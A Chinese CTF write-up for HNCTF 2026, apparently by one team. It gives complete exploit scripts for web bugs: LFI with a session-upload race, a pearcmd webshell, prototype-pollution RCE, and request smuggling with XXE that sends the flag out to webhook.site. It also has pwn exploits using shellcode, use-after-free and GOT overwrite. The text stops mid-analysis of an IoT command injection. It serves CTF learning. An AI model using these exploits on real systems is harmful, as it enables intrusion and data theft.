返回归档
WriteUp #WP

HNCTF 2026

HNCTF 2026 WriteUp

2026-06-07 43027 words 215 min read

参赛队伍名称:HnuSec111#

Image

Web#

题目名称:签到#

解题人:Lu0m0

解题过程:

访问靶机,发现直接302重定向到/include.php

Image

/include.php 是一个文件包含页面,通过GET方法,file传参,进行文件包含,默认值为 /var/www/html/notes/welcome.txt

一个简单的脚本,测试发现可以读取任意文件

import requests
BASE_URL = "http://114.66.24.210:35787/include.php"
PARAM = "file"
tests = {
"/etc/passwd": ["root:x:0:0", "/bin/bash"],
"/etc/hosts": ["127.0.0.1", "localhost"],
}
for path, signs in tests.items():
r = requests.get(BASE_URL, params={PARAM: path}, timeout=8)
text = r.text
hit = any(s in text for s in signs)
print(f"\n[+] test: {path}")
print(f"status: {r.status_code}, length: {len(text)}")
print("result:", "可能存在任意文件读取" if hit else "未发现明显特征")
print(text[:300])

继续测试发现可以访问 /upload.php 路径

Image

存在一个上传表单

Image

表单包含PHP_SESSION_UPLOAD_PROGRESS字段,是php内置的上传进度跟踪特性

所以可以利用 PHP_SESSION_UPLOAD_PROGRESS + LFI 攻击链 ,接下来先确认Session文件位置

设置Cookie中PHPSESSID字段值为test,然后测试发现session文件存在/tmp目录下

Image

接下来可以利用条件竞争构造exp,多线程同时向/upload.php发送文件上传请求,在每个请求PHP_SESSION_UPLOAD_PROGRESS中注入php代码,同时不断尝试通过 LFI 包含 /tmp/sess_

注入的php代码为

<?php echo shell_exec('ls -la /');?>

在返回内容中发现存在flag

接着注入

<?php echo file_get_contents('/flag');?>

返回内容中拿到flag

Image

完整exp:

import requests
import threading
import time
import random
TARGET = "http://114.66.24.210:48235"
sess_id = "hack" + str(random.randint(10000, 99999))
php_code = "<?php echo file_get_contents('/flag');?>"
found = threading.Event()
result = [None]
def uploader():
while not found.is_set():
try:
files = {"file": ("x.txt", b"Hello", "text/plain")}
data = {"PHP_SESSION_UPLOAD_PROGRESS": php_code}
requests.post(f"{TARGET}/upload.php", files=files, data=data,
cookies={"PHPSESSID": sess_id}, timeout=5)
except:
pass
def lfi_checker():
while not found.is_set():
try:
r = requests.get(f"{TARGET}/include.php?file=/tmp/sess_{sess_id}",
cookies={"PHPSESSID": sess_id}, timeout=5)
if "upload_progress_" in r.text:
result[0] = r.text
found.set()
return
except:
pass
time.sleep(0.002)
# 启动多个上传线程 + LFI 检查线程
for _ in range(20):
threading.Thread(target=uploader, daemon=True).start()
threading.Thread(target=lfi_checker, daemon=True).start()
found.wait(timeout=8)
# 从响应中提取 flag
idx = result[0].find('upload_progress_')
print(result[0][idx:idx+200])

题目名称:include#

解题人:Lu0m0

解题过程:

进入网站,发现三个模块 .php about.php help.php

探测发现是php/7.4.33

Image

Image

尝试路径穿越,发现被waf了,尝试读取不存在文件报错

Image

Image

PHP 默认安装中,pearcmd.php 位于 /usr/local/lib/php/pearcmd.php。由于该目录在 PHP 的 include_path 中(include_path='.:/usr/local/lib/php'),可以直接通过文件名包含:

原理

pearcmd.php 支持一个 config-create 命令,可以将用户输入写入指定文件。

当以 HTTP 请求访问时,pearcmd.php 会解析 $_SERVER['QUERY_STRING'] 中的参数。

关键参数格式:

?file=pearcmd.php&+config-create++<output_path>

  • file=pearcmd.php — 让 index.php 包含 pearcmd

  • +config-create+ — pearcmd 的 config-create 命令(+ 作为 argv 分隔符)

  • <content> — 写入的内容(包含 PHP 代码)

  • <output_path> — 输出文件路径(以 .php 结尾)

写入到/tmp/sh.php中

curl 'http://114.66.24.210:46347/?file=pearcmd.php&+config-create+/<?=system(end(getallheaders()))?>+/tmp/sh.php'

查看源码

curl -s -H "ZZ: cat /**var/www/html/index.php**" "http://114.66.24.210:46347/?file=/tmp/sh.php"

Image

测试执行代码

curl -s -H "ZZ: id" "http://114.66.24.210:46347/?file=/tmp/sh.php"

Image

寻找flag

curl -s -H "ZZ: find / -name flag* -type f" "http://114.66.24.210:46347/?file=/tmp/sh.php"

Image

拿到flag

curl -s -H "ZZ: cat /flag" "http://114.66.24.210:46347/?file=/tmp/sh.php"

Image

题目名称:prototype-preview#

解题人:Lu0m0

解题过程:

进行信息收集,访问/source得到源码

Image

分析一下,可发现两个漏洞点:

  1. deepMergefor...in 遍历会进入 __proto__,且递归时 target["__proto__"] 就是 Object.prototype,造成原型链污染

  2. renderTemplate — 从 options 读取 escapeFunction,由于 options = {}(无 own property),会沿原型链查找到 Object.prototype.escapeFunction,且该值直接被拼接到 new Function 的代码体中,形成代码注入

所以我们打原型链污染来实现代码注入

查看一下app.js源码。,发现flag在环境变量中可能

"__proto__":{"escapeFunction":"function(s){try{var f=require(\"fs\").readFileSync(\"/app/app.js\",\"utf8\");out.push(f)}catch(e){}return s}"},

Image

Image

查看一下root目录看看flag在不在

{"__proto__":{"escapeFunction":"function(s){try{out.push(require(\"fs\").readdirSync(\"/\").join(\",\"))}catch(e){}return s}"}

Image

Image

不在/下面,应该就在环境变量下面,查一下环境变量

Terminal window
"__proto__":{\"escapeFunction\":\"function(s){try{out.push(Object.keys(process.env).join(','))}catch(e){}return s}\"}

Image

Image

发现在GZCTF_FLAG中,我们读取一下

Terminal window
"__proto__":{"escapeFunction":"function(s){try{out.push(process.env.GZCTF_FLAG)}catch(e){}return s}\},

Image

Image

flag{d1f8e773-45d0-4214-a6e4-fbfaae0f8c26}

题目名称:偷偷送你个shell#

解题人:J4toPos

解题过程:

访问首页可以看到有注释:

Image

直接访问/shell.php

Image

发现会被前端代理拦截,这里我们要想办法绕过前端 legacy-edge

我们考虑LF注入,legacy-edge 对请求行的解析和后端 Apache 不一致。

我们可以发送

GET /shell.php\x0a HTTP/1.1\r\n
Host: 114.66.24.210:38166\r\n
Connection: close\r\n

前端看到的是 /shell.php\x0a,不等于严格匹配的 /shell.php,所以不会拦。

后端把 \n 当作请求行结束,最后实际执行的是 /shell.php,并且会以 HTTP/0.9 形式返回源码。

注意不能用bp发,因为不会解析字节,用下面这个脚本

import socket
host = "114.66.24.210"
port = 38166
req = (
b"GET /shell.php\n HTTP/1.1\r\n"
b"Host: 114.66.24.210:38166\r\n"
b"Connection: close\r\n"
b"\r\n"
)
s = socket.create_connection((host, port), timeout=5)
s.sendall(req)
resp = b""
while True:
chunk = s.recv(4096)
if not chunk:
break
resp += chunk
s.close()
print(resp.decode("latin1", errors="replace"))

Image

得到shell.php,核心代码如下

Terminal window
class Start {
public $arg;
public function __destruct() {
echo $this->arg;
}
}
class Middle {
public $target;
public function __toString() {
$this->target->boom;
return "";
}
}
class Gate {
public $a;
public $b;
public $func;
public $var;
public function __get($name) {
if ($this->a !== $this->b && !is_array($this->a) && !is_array($this->b)
&& md5($this->a) === md5($this->b)) {
$f = $this->func;
$v = $this->var;
$f($v);
}
}
}
class Shell {
public $cla;
public $data;
public $opt1;
public $opt2;
public function __invoke($data) {
$this->data = $data;
$this->run();
}
private function run() {
$c = $this->cla;
if (!is_string($c) || !is_string($this->data)) { return; }
try {
new $c($this->data, $this->opt1, $this->opt2);
} catch (Throwable $e) {}
}
}
include_once dirname(__DIR__) . "/private/waf.php";
waf();
if (isset($_GET['data']) && is_string($_GET['data'])) {
@unserialize($_GET['data']);
}

利用链如下,可以构造反序列化

Start::__destruct()
-> echo $arg
-> Middle::__toString()
-> Gate::__get()
-> Shell::__invoke()
-> new $cla($data, $opt1, $opt2)

这里我们虽然可以利用 LF 注入读到源码,但是没法稳定通过?data=... 进行传参

这里我们用 CL-TE 请求走私

构造一个同时带 Content-LengthTransfer-Encoding: chunked 的请求:

  • 前端 legacy-edgeContent-Length 解释

  • 后端按 Transfer-Encoding: chunked 解释

先走私一个不存在的路径,比如 /xyznotfound,再发送一个普通请求 /。这样可以利用?data=…注入到后端

然后是要解决一个waf问题,我们只能用 SimpleXMLElement,可以拿它解析带外部实体的 XML。

构造

new SimpleXMLElement($xml, 6, false);

xml本体

<!DOCTYPE r [
<!ENTITY % remote SYSTEM "http://webhook.site/<DTD_TOKEN>">
%remote;
]>
<r>ok</r>

远程DTD的内容写成

<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/flag">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://webhook.site/<EXFIL_TOKEN>/?x=%file;'>">
%eval;
%exfil;

这样后端解析 XML 时先拉取远程 DTD,TD 再去读 /flag,做 base64,然后通过 HTTP GET 外带到我们的 webhook

接下来构造走私

POST / HTTP/1.1
Host: 114.66.24.210:38166
Content-Length: <len>
Transfer-Encoding: chunked
Connection: keep-alive
0
GET /shell.php?data=<urlencoded payload> HTTP/1.1
Host: 114.66.24.210:38166
Connection: keep-alive

再补一个正常的,这个正常请求会吃到我们走私进去的 /shell.php?data=... 的响应。

GET / HTTP/1.1
Host: 114.66.24.210:38166
Connection: close

exp如下

import argparse
import base64
import hashlib
import re
import socket
import time
import urllib.parse
import requests
COLLISION_A = bytes.fromhex(
"4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518"
"afbfa200a8284bf36e8e4b55b35f427593d849676da0d1555d8360fb5f07fea2"
)
COLLISION_B = bytes.fromhex(
"4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518"
"afbfa202a8284bf36e8e4b55b35f427593d849676da0d1d55d8360fb5f07fea2"
)
def read_one_response(sock: socket.socket, timeout: float = 8.0) -> bytes:
buf = b""
sock.settimeout(timeout)
while True:
try:
chunk = sock.recv(4096)
if not chunk:
break
buf += chunk
if b"\r\n\r\n" in buf:
head, rest = buf.split(b"\r\n\r\n", 1)
match = re.search(br"Content-Length:\s*(\d+)", head, re.I)
if match and len(rest) >= int(match.group(1)):
break
except socket.timeout:
break
return buf
def read_until_timeout(sock: socket.socket, timeout: float = 5.0) -> bytes:
buf = b""
sock.settimeout(timeout)
while True:
try:
chunk = sock.recv(4096)
if not chunk:
break
buf += chunk
except socket.timeout:
break
return buf
def make_webhook_pair() -> tuple[str, str]:
exfil_token = requests.post("https://webhook.site/token", timeout=15).json()["uuid"]
dtd_body = (
'<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/flag">\n'
+ "<!ENTITY % eval \"<!ENTITY &#x25; exfil SYSTEM 'http://webhook.site/"
+ exfil_token
+ "/?x=%file;'>\">\n"
+ "%eval;\n%exfil;"
)
dtd_token = requests.post(
"https://webhook.site/token",
data={
"default_content": dtd_body,
"default_content_type": "application/xml-dtd",
},
timeout=15,
).json()["uuid"]
return exfil_token, dtd_token
def build_payload(dtd_token: str) -> bytes:
xml = (
'<!DOCTYPE r [<!ENTITY % remote SYSTEM "http://webhook.site/'
+ dtd_token
+ '">%remote;]><r>ok</r>'
)
parts = []
parts.append(b'O:5:"Start":1:{s:3:"arg";')
parts.append(b'O:6:"Middle":1:{s:6:"target";')
parts.append(b'O:4:"Gate":4:{')
parts.append(b's:1:"a";s:64:"' + COLLISION_A + b'";')
parts.append(b's:1:"b";s:64:"' + COLLISION_B + b'";')
parts.append(b's:4:"func";O:5:"Shell":4:{')
parts.append(b's:3:"cla";s:16:"SimpleXMLElement";')
parts.append(b's:4:"data";s:' + str(len(xml)).encode() + b':"' + xml.encode() + b'";')
parts.append(b's:4:"opt1";i:6;')
parts.append(b's:4:"opt2";b:0;}')
parts.append(b's:3:"var";s:' + str(len(xml)).encode() + b':"' + xml.encode() + b'";')
parts.append(b"}}}")
return b"".join(parts)
def smuggle(host: str, port: int, payload: bytes) -> bytes:
path = "/shell.php?data=" + urllib.parse.quote_from_bytes(payload, safe="")
smuggled = (
f"GET {path} HTTP/1.1\r\n"
f"Host: {host}:{port}\r\n"
"Connection: keep-alive\r\n\r\n"
).encode()
body = b"0\r\n\r\n" + smuggled
poison = (
f"POST / HTTP/1.1\r\n"
f"Host: {host}:{port}\r\n"
f"Content-Length: {len(body)}\r\n"
"Transfer-Encoding: chunked\r\n"
"Connection: keep-alive\r\n\r\n"
).encode() + body
victim = (
f"GET / HTTP/1.1\r\n"
f"Host: {host}:{port}\r\n"
"Connection: close\r\n\r\n"
).encode()
with socket.create_connection((host, port), timeout=8) as sock:
sock.sendall(poison)
read_one_response(sock, timeout=8)
sock.sendall(victim)
return read_until_timeout(sock, timeout=5)
def poll_flag(exfil_token: str, max_wait: int = 30) -> str | None:
deadline = time.time() + max_wait
while time.time() < deadline:
items = requests.get(
f"https://webhook.site/token/{exfil_token}/requests", timeout=10
).json()["data"]
for item in items:
query = item.get("query") or {}
encoded = query.get("x")
if not encoded:
continue
try:
return base64.b64decode(encoded).decode()
except Exception:
return encoded
time.sleep(2)
return None
def main() -> None:
parser = argparse.ArgumentParser(description="legacy-edge + PHP unserialize final exploit")
parser.add_argument("--host", default="114.66.24.210")
parser.add_argument("--port", type=int, default=39482)
parser.add_argument("--max-wait", type=int, default=30)
args = parser.parse_args()
assert COLLISION_A != COLLISION_B
assert hashlib.md5(COLLISION_A).hexdigest() == hashlib.md5(COLLISION_B).hexdigest()
exfil_token, dtd_token = make_webhook_pair()
print(f"[+] exfil token: {exfil_token}")
print(f"[+] dtd token: {dtd_token}")
payload = build_payload(dtd_token)
print(f"[+] payload bytes: {len(payload)}")
response = smuggle(args.host, args.port, payload)
if response:
preview = response.decode("latin1", errors="replace")[:600]
print("[+] smuggled response preview:")
print(preview)
else:
print("[*] no inline response, waiting for OOB exfiltration")
flag = poll_flag(exfil_token, max_wait=args.max_wait)
if not flag:
print("[-] flag not received")
raise SystemExit(1)
print(f"[+] flag: {flag}")
if __name__ == "__main__":
main()

最后拿到flag

flag{83952a35-3f00-4b19-bde2-e751dcbdb865}

Image

题目名称:oooa#

解题人:Lu0m0

解题过程:

进入后是一个Next.js 应用,主页为 OA 系统的登录页面,具有登录和注册功能。

Image

查看前端源码,可以发现有js

Image

审一下0g9_nrkpbikfp.js,可以看到完整的 API 调用逻辑和硬编码密钥

Image

// 硬编码的 AES 密钥
const AES_KEY = "4d616e42614f61506f7274616c4b6579" // → "ManBaOaPortalKey"
const AES_IV = "506f7274616c52656672657368303121" // → "PortalRefresh01!"
// API 基础路径
const API_BASE = "/api"
// 通用 API 调用函数(带 Bearer Token)
async function apiCall(path, options = {}) {
const token = getToken()
const headers = {
"Content-Type": "application/json",
...(token ? { Authorization: `Bearer ${token}` } : {}),
...options.headers
}
const res = await fetch(`${API_BASE}${path}`, { ...options, headers })
if (!res.ok) throw Error(...)
return res.json()
}

有价值的如下

/api/v2/identity/profile/self
/api/v2/portal/context/refresh-sync
/api/v2/platform/runtime/diagnostic-task
/api/v2/workflow/my-application/list

尝试访问/api/v2/workflow/pending-approval/snapshot 接口,返回了包含 JWT Token 的待审批流程数据。

Image

泄露了

{
"code": 0,
"data": {
"items": [
{
"applyId": "WF-20260527-0192",
"employeeName": "林实习",
"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIwMDA3IiwidXNlcm5hbWUiOiJpbnRlcm4ubGluIiwicm9sZSI6ImludGVybiIsImRlcHQiOiLnu7zlkIjnrqHnkIbpg6giLCJwdXJwb3NlIjoid29ya2Zsb3ctYXBwbHktY2FjaGUiLCJpYXQiOjE3ODA4MTA3ODY4MTZ9.EF6GK-hAhSjAoAB9x99v1knkc8_rr1Q4XjuWZDJ7alI",
"memo": "cacheProjection=portal-refresh"
},
{
"applyId": "WF-20260527-0184",
"employeeName": "陈专员",
"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIwMDEyIiwidXNlcm5hbWUiOiJzdGFmZi5jaGVuIiwicm9sZSI6ImVtcGxveWVlIiwiZGVwdCI6Iui0ouWKoeWFseS6q-S4reW_gyIsInB1cnBvc2UiOiJ3b3JrZmxvdy1hcHBseS1jYWNoZSIsImlhdCI6MTc4MDgxMDc4NjkxMH0.5psN90nT778NQd0O1TvmENjAHn0te3-Rwl1kapYBs-o",
"memo": "cacheProjection=approval-surface"
}
]
}
}

解码JWT,得到

{
"sub": "0007",
"username": "intern.lin",
"role": "intern",
"dept": "综合管理部",
"purpose": "workflow-apply-cache"
}

以及

{
"sub": "0012",
"username": "staff.chen",
"role": "employee",
"dept": "财务共享中心",
"purpose": "workflow-apply-cache"
}

用这个token可以实现后面的 Bearer 认证

由于 AES 密钥和 IV 在客户端硬编码,我们可以加密任意用户 ID 来获取对应用户的 Token。

Terminal window
# 使用已知密钥加密 admin 的 user ID "0001"
node -e "
const crypto = require('crypto');
const key = Buffer.from('4d616e42614f61506f7274616c4b6579', 'hex');
const iv = Buffer.from('506f7274616c52656672657368303121', 'hex');
const cipher = crypto.createCipheriv('aes-128-cbc', key, iv);
let enc = cipher.update('0001', 'utf8', 'base64');
enc += cipher.final('base64');
console.log(enc);
"
# 输出: r8Z3xPBHo1pxxIU/J3fBzA==

访问 /api/v2/portal/context/refresh-sync ,尝试去获取admin的Token,我们访问时带上刚才的token

Image

成功获得 role: admin 的管理员令牌

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIwMDAxIiwidXNlcm5hbWUiOiJvcHMtYWRtaW4iLCJyb2xlIjoiYWRtaW4iLCJkZXB0Ijoi5bmz5Y-w5rK755CG5Lit5b-DIiwicHVycG9zZSI6InBvcnRhbC1jb250ZXh0LXJlZnJlc2giLCJpYXQiOjE3ODA4MTE3NTEyMTR9.ZjutYsKaGuR3aGEB6ZJA4WhmFA9GHAj_oBLe2WLTU4c

/api/v2/platform/runtime/diagnostic-task 端点直接调用 child_process.exec() 执行任意系统命令。

源码如下:

const { exec } = require("child_process");
function handleDiagnostic(req, body) {
const auth = requireSession(req);
if (auth.user.role !== "admin") {
return { statusCode: 403, body: { code: 403, message: "admin token required" } };
}
const cmd = String(body.cmd || "").trim();
exec(cmd, { shell: "/bin/bash", timeout: 15000 }, (error, stdout, stderr) => {
resolve({ body: { data: { command: cmd, stdout, stderr, exitCode } } });
});
}

我们利用管理员令牌执行命令,直接读是读不到flag

Image

通过 RCE 读取被混淆的后端源码,发现 Flag 存储在 MongoDB 中:

const disguisedCollections = {
dbName: "ops_runtime",
collectionName: "system_notice_templates"
};

通过 RCE 搜索 MongoDB 的慢查询日志,发现 Flag 出现在查询过滤条件中:

grep -i flag /var/log/mongodb/mongod.stdout.log

Image

拿到flag

flag{840691c2-36da-4c7d-83cc-8fdf9513f86c}

Pwn#

题目名称:ezstack#

解题人:cinco

解题过程

题目检查#

栈段可执行,写shellcode

Image

开了沙箱,orw

Image

逻辑分析#

Image

每次读一个字节,并且把读入的字节写到buf[v4++],知道收到换行符

也就是说如果我们覆盖v4,把v4改成0x48,就可以进行栈溢出覆盖返回地址

此外,n也在栈上,也可以对其进行覆盖修改

泄露#

可以看到程序最后执行了write打印栈上内容,可以把n改大后leak出栈上内容,也包括了栈地址

注意第一次写入返回地址需要用小字节覆盖,因为还没有pie基址

攻击#

有了栈地址后就可以计算rbp+0x10的位置,覆盖到返回地址,然后向这个位置写入shellcode就可以成功执行

注意:远程涉及堆栈平衡问题,不想再爆破一个ret了,所以返回地址没在vuln函数的开头

后面跳转的位置也发生了改变

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
elf = ELF('./echo_overflow')
#io = process('./echo_overflow')
io = remote("114.66.24.210",35863)
shellcode = asm('''
push 0x67616c66
mov rdi, rsp
xor esi, esi
xor edx, edx
mov eax, 2
syscall
/* read(fd, rsp - 0x200, 0x100) */
mov rdi, rax
sub rsp, 0x200
mov rsi, rsp
mov edx, 0x100
xor eax, eax
syscall
/* write(1, rsp, 0x100) */
mov edi, 1
mov rsi, rsp
mov edx, 0x100
mov eax, 1
syscall
''')
vuln_addr=elf.symbols['vuln'] & 0xffff
payload = b''
# buf[0x00:0x20]
payload += b'A' * 0x20
payload += p64(0x100)
payload += b'B' * (0x3f - len(payload))
payload += b'\x47'
payload += b'\x27\x12'
assert b'\n' not in payload
io.send(payload)
io.send(b'\n')
io.recvuntil(b'\x4a')
buf=u64(io.recv(6).ljust(8,b'\x00'))
print(hex(buf))
io.recv()
payload = b''
# buf[0x00:0x20]
payload += b'A' * 0x20
payload += p64(1)
payload += b'B' * (0x3f - len(payload))
payload += b'\x47'
payload += p64(buf+0x10)
payload += shellcode
assert b'\n' not in payload
io.send(payload)
#gdb.attach(io)
io.send(b'\n')
io.recv()
io.interactive()

Image

题目名称:expz1#

解题人:cinco

解题过程

题目信息#

这题是一个 64 位 Linux pwn 题,程序提供了一个简单的问答管理功能,菜单包含:

  • C:创建 question

  • D:删除 question

  • S:设置 question 内容

  • A:询问 question

  • Q:退出

核心利用流程很短:先创建一个 question,删除后留下悬空指针,再创建新的 question 让其内容区与旧结构体重叠,最后伪造函数指针并触发调用。

漏洞分析#

这题本质上是一个 UAF(Use After Free,释放后使用)

程序维护了一组 question 对象。正常逻辑应该是:

  1. 创建对象

  2. 使用对象

  3. 删除对象后,把指针清空

但这里删除后并没有把原位置的指针及时处理掉,导致数组里还保留着一个 悬空指针。这样后续如果再次申请堆块,新的对象或其内容就有机会复用同一块堆内存,从而造成 旧对象结构体被新数据覆盖

利用顺序:

create(io) # idx 0
delete(io, 0) # leaves stale pointer in questions[0]
create(io) # idx 1; its content buffer overlaps stale struct

也就是:

  • 先创建 idx 0

  • 删除 idx 0

  • 再创建 idx 1

这样 idx 0 虽然逻辑上被删掉了,但 questions[0] 仍然指向已经释放的结构体位置;而新创建的 idx 1 则会占用相近甚至相同的堆块,形成可控覆盖。

利用思路#

1. 通过重叠堆块覆盖旧 question 结构#

payload 写成:

payload = flat(
elf.sym.win, # fake function pointer for questions[0]
0, # unused fake buffer pointer
)
set_question(io, 1, payload + b"\n")

说明旧的 question 结构体中存在一个可调用的函数指针字段。由于 idx 1 的内容区和 idx 0 已释放但未失效的结构体发生重叠,于是可以把这个函数指针直接改成 win

2. 触发 ask 调用伪造函数指针#

覆盖完成后直接执行:

ask(io, 0)

程序会把 questions[0] 当成一个有效对象去调用其内部逻辑。由于该对象已经被我们伪造成“函数指针 = win”,因此这里最终跳转到 win 函数。

3. win 拿 shell,读取 flag#

进入 win 后,直接发送:

io.sendline(b"cat /flag")
data = io.recvuntil(b"}", timeout=2)

说明 win 的效果就是拿到 shell 或等价的命令执行能力,因此直接 cat /flag 即可读出 flag。

exp:#

#!/usr/bin/env python3
from pwn import *
context(os="linux", arch="amd64")
context.log_level = "info"
BIN = "./ezpz1"
HOST = "114.66.24.210"
PORT = 29980
elf = ELF(BIN)
def start():
if args.LOCAL:
return process(BIN)
return remote(HOST, PORT)
def choose(io, choice: bytes):
io.sendlineafter(b"Enter your choice, (or press enter to refresh): ", choice, timeout=2)
def create(io):
choose(io, b"C")
def delete(io, idx: int):
choose(io, b"D")
io.sendlineafter(b"Enter question id: ", str(idx).encode(), timeout=2)
def set_question(io, idx: int, data: bytes):
choose(io, b"S")
io.sendlineafter(b"Enter question id: ", str(idx).encode(), timeout=2)
io.sendafter(b"Enter your question: ", data, timeout=2)
def ask(io, idx: int):
choose(io, b"A")
io.sendlineafter(b"Enter question id: ", str(idx).encode(), timeout=2)
def exploit(io):
create(io) # idx 0
delete(io, 0) # UAF
create(io) # idx 1,制造重叠
payload = flat(
elf.sym.win, # 覆盖旧 question 的函数指针
0,
)
set_question(io, 1, payload + b"\n")
ask(io, 0)
def main():
io = start()
exploit(io)
io.sendline(b"cat /flag")
io.interactive()
if __name__ == "__main__":
main()

Image

题目名称:expz2#

解题人:cinco

解题过程

题目信息#

和上个题差不多,程序同样提供了 question 管理功能,菜单包括:

  • C:创建 question

  • A:询问 question

  • S:设置 question 内容

漏洞分析#

这题的关键仍然是 堆上对象布局可被覆盖

利用脚本里先连续创建了两个对象:

create(io)
create(io)

随后通过给 idx 0 写入超长数据,覆盖到相邻对象中的指针字段:

set_question(io, 0, b"A" * 0x48 + p64(addr) + b"\n")

这说明 question 0 的可写区域存在越界,能够一路覆盖到 question 1 内部的某个指针成员。这样就能把 question 1 原本指向合法字符串的位置,改成任意地址。

接着程序在 `ask(1)` 时,会把这个伪造后的地址当成字符串内容读取出来,于是形成了一个 任意地址泄露 原语。

利用思路#

1. 通过重叠覆盖 question 1 的内容指针#

脚本中的关键函数:

def overlap_write_ptr(io, addr: int):
set_question(io, 0, b"A" * 0x48 + p64(addr) + b"\n")

它的作用就是:

  • 利用 idx 0 的写入越界

  • 覆盖 idx 1 的内部指针

  • idx 1 的“问题内容指针”指向我们指定的地址 addr

这样就把普通的对象操作,变成了一个通用的地址访问入口。

2. ask(1) 构造任意地址读#

泄露函数很直接:

def leak(io, addr: int) -> int:
overlap_write_ptr(io, addr)
ask(io, 1)
io.recvuntil(b"I have the answer perhaps: '", timeout=3)
raw = io.recvuntil(b"'", drop=True, timeout=3)
return u64(raw.ljust(8, b"\x00"))

意思是:

  1. 先把 question 1 的指针改到目标地址

  2. 再调用 ask(1)

  3. 程序会把目标地址处的内容当成字符串输出

  4. 脚本再把拿到的数据解析成 64 位地址

这样就得到了稳定的任意地址读能力。

3. 泄露 libc 基址#

有了任意地址读之后,最自然的做法就是泄露 GOT 表中的函数实际地址。

直接读取 fgets@got

libc.address = leak(io, elf.got["fgets"]) - libc.sym["fgets"]

由于 GOT 中保存的是 fgets 在 libc 中的真实运行地址,因此减去 libc 里 fgets 的符号偏移,就能得到 libc 基址。

4. 覆盖 atoi@got 为 system#

接下来,把目标转成 atoi@got

overlap_write_ptr(io, elf.got["atoi"])
set_question(io, 1, p64(libc.sym["system"]) + b"\n")

这里的思路是:

  • 先把 question 1 的内容指针伪造成 atoi@got

  • 再通过 set_question(io, 1, ...)

  • 直接把 GOT 表项从 atoi 改写成 system

这样一来,程序后续凡是调用 atoi 的地方,实际上都会跳去执行 system

5. 利用菜单输入触发 system(“sh”)#

最后利用菜单交互本身触发劫持:

choose(io, b"A")
io.sendlineafter(b"Enter question id: ", b"sh", timeout=3)

原本这里程序想做的是:

atoi("sh")

但由于 atoi@got 已经被改成 system,所以真实执行效果变成:

system("sh")

从而直接拿到 shell。随后发送:

io.sendline(b"cat /flag")

exp:#

#!/usr/bin/env python3
from pwn import *
context(os="linux", arch="amd64")
context.log_level = "info"
BIN = "./ezpz2"
LIBC = "/lib/x86_64-linux-gnu/libc.so.6"
HOST = "114.66.24.210"
PORT = 24170
elf = ELF(BIN)
libc = ELF(LIBC)
def start():
return remote(HOST, PORT, timeout=5)
def choose(io, choice: bytes):
io.sendlineafter(b"Enter your choice, (or press enter to refresh): ", choice, timeout=3)
def create(io):
choose(io, b"C")
def ask(io, idx: int):
choose(io, b"A")
io.sendlineafter(b"Enter question id: ", str(idx).encode(), timeout=3)
def set_question(io, idx: int, data: bytes):
choose(io, b"S")
io.sendlineafter(b"Enter question id: ", str(idx).encode(), timeout=3)
io.sendafter(b"Enter your question: ", data, timeout=3)
def overlap_write_ptr(io, addr: int):
set_question(io, 0, b"A" * 0x48 + p64(addr) + b"\n")
def leak(io, addr: int) -> int:
overlap_write_ptr(io, addr)
ask(io, 1)
io.recvuntil(b"I have the answer perhaps: '", timeout=3)
raw = io.recvuntil(b"'", drop=True, timeout=3)
return u64(raw.ljust(8, b"\x00"))
def exploit(io):
create(io)
create(io)
libc.address = leak(io, elf.got["fgets"]) - libc.sym["fgets"]
log.info(f"libc base = {hex(libc.address)}")
overlap_write_ptr(io, elf.got["atoi"])
set_question(io, 1, p64(libc.sym["system"]) + b"\n")
choose(io, b"A")
io.sendlineafter(b"Enter question id: ", b"sh", timeout=3)
io.sendline(b"cat /flag")
print(io.recvrepeat(2).decode(errors="ignore"))
def main():
io = start()
exploit(io)
io.close()
if __name__ == "__main__":
main()

Image

题目名称:fake_iot#

解题人:cinco

解题过程

目录结构#

webpwn题 题目目录内容很简单:

  • bin/httpd

  • busybox

  • www/

其中:

  • www/ 是前端页面

  • bin/httpd 是服务端核心逻辑

  • busybox 暗示后端运行环境是很轻量的 shell / 工具集

一、前端分析#

1. 登录逻辑#

登录页在:

  • www/login.html

  • www/auth.js

前端登录逻辑非常显眼:

if (password.value === "admin") {
const issued = NetGateAuth.issueToken(username.value.trim() || "admin");
...
window.location.href = `admin.html?token=${encodeURIComponent(issued.token)}`;
}

也就是说,本地附件前端的“登录”只是:

  1. 检查密码是否等于 admin

  2. 然后在浏览器本地 localStorage 里签发 token

2. token 机制#

www/auth.js 里有完整 token 逻辑:

const TOKEN_TTL_MS = 10 * 60 * 1000;

也就是:

  • token 有效期 10 分钟

  • 存储在 localStorage

  • 通过 URL 参数 ?token=... 或本地缓存取用

前端本地生成 token 的方式是:

  1. crypto.getRandomValues 生成 32 字节随机数

  2. base64-url 编码

这只能说明本地前端的设计,不代表远程后端真的接受这种 token。

3. 管理接口#

www/admin.js 里调用了两个接口:

  • POST /api/lan

  • POST /api/wifi

提交时会把 token 一起放进表单:

const body = new URLSearchParams({
...data,
token,
});

所以攻击面很自然落到:

  • token 校验

  • /api/lan

  • /api/wifi

二、后端静态分析#

1. 关键字符串#

bin/httpd 做字符串提取后,能看到非常重要的信息:

/api/lan
missing token
invalid or expired token
/api/login
bad credentials
mkdir -p runtime && echo '%s' > runtime/firewall.rule
runtime/lan.conf
runtime/wifi.conf

这几点非常关键:

  1. 远程后端实际存在 /api/login

  2. token 错误时会报 invalid or expired token

  3. /api/lanfirewallRule 会进入一条 system() 命令

2.`/api/lan` 的危险点#

反汇编 handle_client 可以还原出 /api/lan 的核心逻辑:

  1. 从 POST body 中取:

    • token

    • lanIp

    • subnetMask

    • dhcpEnabled

    • dhcpStart

    • dhcpEnd

    • gateway

    • dns

    • firewallRule

  2. 前面的配置会写入 runtime/lan.conf

  3. firewallRule 最终进入:

sprintf(buf, "mkdir -p runtime && echo '%s' > runtime/firewall.rule", firewallRule);
system(buf);

这个点非常明显:

  • firewallRule 被放进单引号包裹的 shell 命令

  • 没有任何 shell 转义

